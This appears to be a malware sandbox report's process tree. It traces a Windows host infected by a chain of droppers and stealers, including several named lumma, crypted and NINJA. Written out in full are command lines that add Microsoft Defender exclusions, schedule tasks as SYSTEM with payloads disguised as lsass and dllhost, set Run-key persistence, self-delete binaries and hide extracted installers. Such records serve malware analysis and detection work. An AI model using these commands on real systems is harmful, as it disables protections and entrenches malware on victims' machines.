C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4416 --field-trial-handle=2352,i,15917643529396111735,18106435595484679046,131072 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4792 --field-trial-handle=2352,i,15917643529396111735,18106435595484679046,131072 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4780 --field-trial-handle=2352,i,15917643529396111735,18106435595484679046,131072 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4716 --field-trial-handle=2352,i,15917643529396111735,18106435595484679046,131072 /prefetch:84⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\m.exe"C:\Users\Admin\AppData\Local\Temp\Files\m.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\m.exe"C:\Users\Admin\AppData\Local\Temp\Files\m.exe"3⤵
-
C:\Windows\SysWOW64\svchost.exe"C:\Windows\system32\svchost.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\un300un.exe"C:\Users\Admin\AppData\Local\Temp\Files\un300un.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"3⤵
-
C:\Users\Admin\Pictures\PsspCrsiHRBkDREZBXjDe7Uu.exe"C:\Users\Admin\Pictures\PsspCrsiHRBkDREZBXjDe7Uu.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\u4ko.0.exe"C:\Users\Admin\AppData\Local\Temp\u4ko.0.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\DHJDAFIEHI.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\DHJDAFIEHI.exe"C:\Users\Admin\AppData\Local\Temp\DHJDAFIEHI.exe"7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\DHJDAFIEHI.exe8⤵
-
C:\Windows\SysWOW64\PING.EXEping 2.2.2.2 -n 1 -w 30009⤵
- Runs ping.exe
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6792 -s 35166⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\u4ko.1.exe"C:\Users\Admin\AppData\Local\Temp\u4ko.1.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD16⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5928 -s 15845⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5928 -s 15965⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\P9DZii693CusXaiX1fmdKApG.exe"C:\Users\Admin\Pictures\P9DZii693CusXaiX1fmdKApG.exe"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
-
C:\Users\Admin\Pictures\P9DZii693CusXaiX1fmdKApG.exe"C:\Users\Admin\Pictures\P9DZii693CusXaiX1fmdKApG.exe"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 8285⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\vxbmux7YQSDMwQkqgYehMzFO.exe"C:\Users\Admin\Pictures\vxbmux7YQSDMwQkqgYehMzFO.exe"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
-
C:\Users\Admin\Pictures\vxbmux7YQSDMwQkqgYehMzFO.exe"C:\Users\Admin\Pictures\vxbmux7YQSDMwQkqgYehMzFO.exe"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
-
-
-
C:\Users\Admin\Pictures\48giLnesKjQieVHBmS6z7ixc.exe"C:\Users\Admin\Pictures\48giLnesKjQieVHBmS6z7ixc.exe" --silent --allusers=04⤵
-
C:\Users\Admin\Pictures\48giLnesKjQieVHBmS6z7ixc.exeC:\Users\Admin\Pictures\48giLnesKjQieVHBmS6z7ixc.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x2b4,0x2b8,0x2bc,0x2b0,0x2c0,0x6a2fe1d0,0x6a2fe1dc,0x6a2fe1e85⤵
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\48giLnesKjQieVHBmS6z7ixc.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\48giLnesKjQieVHBmS6z7ixc.exe" --version5⤵
-
-
C:\Users\Admin\Pictures\48giLnesKjQieVHBmS6z7ixc.exe"C:\Users\Admin\Pictures\48giLnesKjQieVHBmS6z7ixc.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=0 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=3984 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240409103748" --session-guid=0d5658b5-90a4-4a4e-ba9d-4a27e3fe8f1a --server-tracking-blob="YzAxZjhlNTg0YjZkMGRjNjU3ODIxNTMyMzc1ZWY3MmQyZjExMTI0OTg5MGFkNzBkODc3ZDU0MzBhYmM0YWQ0OTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTEiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzEyNjU5MDU5LjMwNzYiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiMWVjY2VmNGMtODY1My00NGU1LThjYjgtZWMwZDg1YzdmOGQxIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=3C050000000000005⤵
-
C:\Users\Admin\Pictures\48giLnesKjQieVHBmS6z7ixc.exeC:\Users\Admin\Pictures\48giLnesKjQieVHBmS6z7ixc.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x2b0,0x2c0,0x2c4,0x28c,0x2c8,0x6997e1d0,0x6997e1dc,0x6997e1e86⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091037481\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091037481\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091037481\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091037481\assistant\assistant_installer.exe" --version5⤵
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091037481\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091037481\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x284,0x288,0x28c,0x260,0x290,0x9f0040,0x9f004c,0x9f00586⤵
-
-
-
-
C:\Users\Admin\Pictures\li3XYPTMDrSKql5IlOh2fN70.exe"C:\Users\Admin\Pictures\li3XYPTMDrSKql5IlOh2fN70.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS404.tmp\Install.exe.\Install.exe /dQndidvBp "385118" /S5⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"6⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True8⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True9⤵
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bgNHpsssZstYPMxCCI" /SC once /ST 10:39:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\VVuPVGQ.exe\" mP /vnsite_idczo 385118 /S" /V1 /F6⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "bgNHpsssZstYPMxCCI"6⤵
-
-
-
-
C:\Users\Admin\Pictures\qMVS8EHam5SQKiRZKtmeaNwX.exe"C:\Users\Admin\Pictures\qMVS8EHam5SQKiRZKtmeaNwX.exe"4⤵
-
-
C:\Users\Admin\Pictures\i3GFynMQ6qetysLZKIFv9lSQ.exe"C:\Users\Admin\Pictures\i3GFynMQ6qetysLZKIFv9lSQ.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS3015.tmp\Install.exe.\Install.exe /dQndidvBp "385118" /S5⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"6⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True8⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True9⤵
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bgNHpsssZstYPMxCCI" /SC once /ST 10:40:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\XcqYegK.exe\" mP /VIsite_idOHu 385118 /S" /V1 /F6⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "bgNHpsssZstYPMxCCI"6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\boomlumma.exe"C:\Users\Admin\AppData\Local\Temp\Files\boomlumma.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\flt_shovemydiscoupyourarse.exe"C:\Users\Admin\AppData\Local\Temp\Files\flt_shovemydiscoupyourarse.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\yoffens_crypted_EASY.exe"C:\Users\Admin\AppData\Local\Temp\Files\yoffens_crypted_EASY.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\stub.exe"C:\Users\Admin\AppData\Local\Temp\Files\stub.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe"C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7608 -s 12923⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ISetup5.exe"C:\Users\Admin\AppData\Local\Temp\Files\ISetup5.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\u60s.0.exe"C:\Users\Admin\AppData\Local\Temp\u60s.0.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5952 -s 10964⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\u60s.1.exe"C:\Users\Admin\AppData\Local\Temp\u60s.1.exe"3⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7804 -s 15323⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7804 -s 9683⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1276.tmp.bat""3⤵
-
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
-
-
C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"6⤵
- Creates scheduled task(s)
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Adobe_update.exe"C:\Users\Admin\AppData\Local\Temp\Files\Adobe_update.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 8123⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Pparetcoju.exe"C:\Users\Admin\AppData\Local\Temp\Files\Pparetcoju.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\new1.exe"C:\Users\Admin\AppData\Local\Temp\Files\new1.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\jokerpos.exe"C:\Users\Admin\AppData\Local\Temp\Files\jokerpos.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\VLTKBacdau.exe"C:\Users\Admin\AppData\Local\Temp\Files\VLTKBacdau.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NINJA.exe"C:\Users\Admin\AppData\Local\Temp\Files\NINJA.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn SBADLH.exe /tr C:\Users\Admin\AppData\Roaming\Windata\system.exe /sc minute /mo 13⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn SBADLH.exe /tr C:\Users\Admin\AppData\Roaming\Windata\system.exe /sc minute /mo 14⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\WSCript.exeWSCript C:\Users\Admin\AppData\Local\Temp\SBADLH.vbs3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Pac-Man.exe"C:\Users\Admin\AppData\Local\Temp\Files\Pac-Man.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\lumma123142124.exe"C:\Users\Admin\AppData\Local\Temp\Files\lumma123142124.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svcrun.exe"C:\Users\Admin\AppData\Local\Temp\Files\svcrun.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\afile.exe"C:\Users\Admin\AppData\Local\Temp\Files\afile.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\configurationValue\newss.exe"C:\Users\Admin\AppData\Roaming\configurationValue\newss.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\configurationValue\traffic.exe"C:\Users\Admin\AppData\Roaming\configurationValue\traffic.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\conhost.exe"C:\Users\Admin\AppData\Local\Temp\Files\conhost.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"3⤵
-
C:\Windows\system32\mode.commode 65,104⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p146312891125116171371883110193 -oextracted4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_2.zip -oextracted4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_1.zip -oextracted4⤵
-
-
C:\Windows\system32\attrib.exeattrib +H "Installer.exe"4⤵
- Views/modifies file attributes
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\toolspub1.exe"C:\Users\Admin\AppData\Local\Temp\Files\toolspub1.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\cry.exe"C:\Users\Admin\AppData\Local\Temp\Files\cry.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5840 -s 19084⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\file300un-1.exe"C:\Users\Admin\AppData\Local\Temp\Files\file300un-1.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"3⤵
-
C:\Users\Admin\Pictures\TNhJ8lgmVn58Ewrm6NdQlWIe.exe"C:\Users\Admin\Pictures\TNhJ8lgmVn58Ewrm6NdQlWIe.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\u5l0.0.exe"C:\Users\Admin\AppData\Local\Temp\u5l0.0.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8140 -s 13806⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\u5l0.1.exe"C:\Users\Admin\AppData\Local\Temp\u5l0.1.exe"5⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7236 -s 9845⤵
- Program crash
-
-
-
C:\Users\Admin\Pictures\pmuhd84aEXnYa0wRDnMqCcT3.exe"C:\Users\Admin\Pictures\pmuhd84aEXnYa0wRDnMqCcT3.exe"4⤵
-
-
C:\Users\Admin\Pictures\JGhobI5KVonHb4p9wsVDJ3G6.exe"C:\Users\Admin\Pictures\JGhobI5KVonHb4p9wsVDJ3G6.exe"4⤵
-
-
C:\Users\Admin\Pictures\5LIqouXafPGVKMLEPJFDlXRN.exe"C:\Users\Admin\Pictures\5LIqouXafPGVKMLEPJFDlXRN.exe"4⤵
-
-
C:\Users\Admin\Pictures\pZ5VqEn4aUe5U49GuEbV9Zhu.exe"C:\Users\Admin\Pictures\pZ5VqEn4aUe5U49GuEbV9Zhu.exe" --silent --allusers=04⤵
-
C:\Users\Admin\Pictures\pZ5VqEn4aUe5U49GuEbV9Zhu.exeC:\Users\Admin\Pictures\pZ5VqEn4aUe5U49GuEbV9Zhu.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x674be1d0,0x674be1dc,0x674be1e85⤵
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\pZ5VqEn4aUe5U49GuEbV9Zhu.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\pZ5VqEn4aUe5U49GuEbV9Zhu.exe" --version5⤵
-
-
-
C:\Users\Admin\Pictures\hzzNenlkpEYAnKClmsqPkymt.exe"C:\Users\Admin\Pictures\hzzNenlkpEYAnKClmsqPkymt.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSAF0F.tmp\Install.exe.\Install.exe /dQndidvBp "385118" /S5⤵
-
-
-
C:\Users\Admin\Pictures\BT1UMIpiCjEV23O3BSmi8Qpa.exe"C:\Users\Admin\Pictures\BT1UMIpiCjEV23O3BSmi8Qpa.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSAF10.tmp\Install.exe.\Install.exe /dQndidvBp "385118" /S5⤵
-
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hv.exe"C:\Users\Admin\AppData\Local\Temp\Files\hv.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Remove-ItemProperty-Path'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'-Name'LibraryApp_for_translators_and_linguists';New-ItemProperty-Path'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'-Name'LibraryApp_for_translators_and_linguists' -Value '"C:\Users\Admin\AppData\Local\LibraryApp_for_translators_and_linguists\LibraryApp_for_translators_and_linguists.exe"' -PropertyType 'String'3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\crypted_d786fd3e.exe"C:\Users\Admin\AppData\Local\Temp\Files\crypted_d786fd3e.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Eszop.exe"C:\Users\Admin\AppData\Local\Temp\Files\Eszop.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\adm_atu.exe"C:\Users\Admin\AppData\Local\Temp\Files\adm_atu.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ghhjhjhsg.exe"C:\Users\Admin\AppData\Local\Temp\Files\ghhjhjhsg.exe"2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\fontdrvhost.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Users\Admin\fontdrvhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Users\Admin\fontdrvhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\odt\dllhost.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\odt\dllhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\odt\dllhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\lsass.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\lsass.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
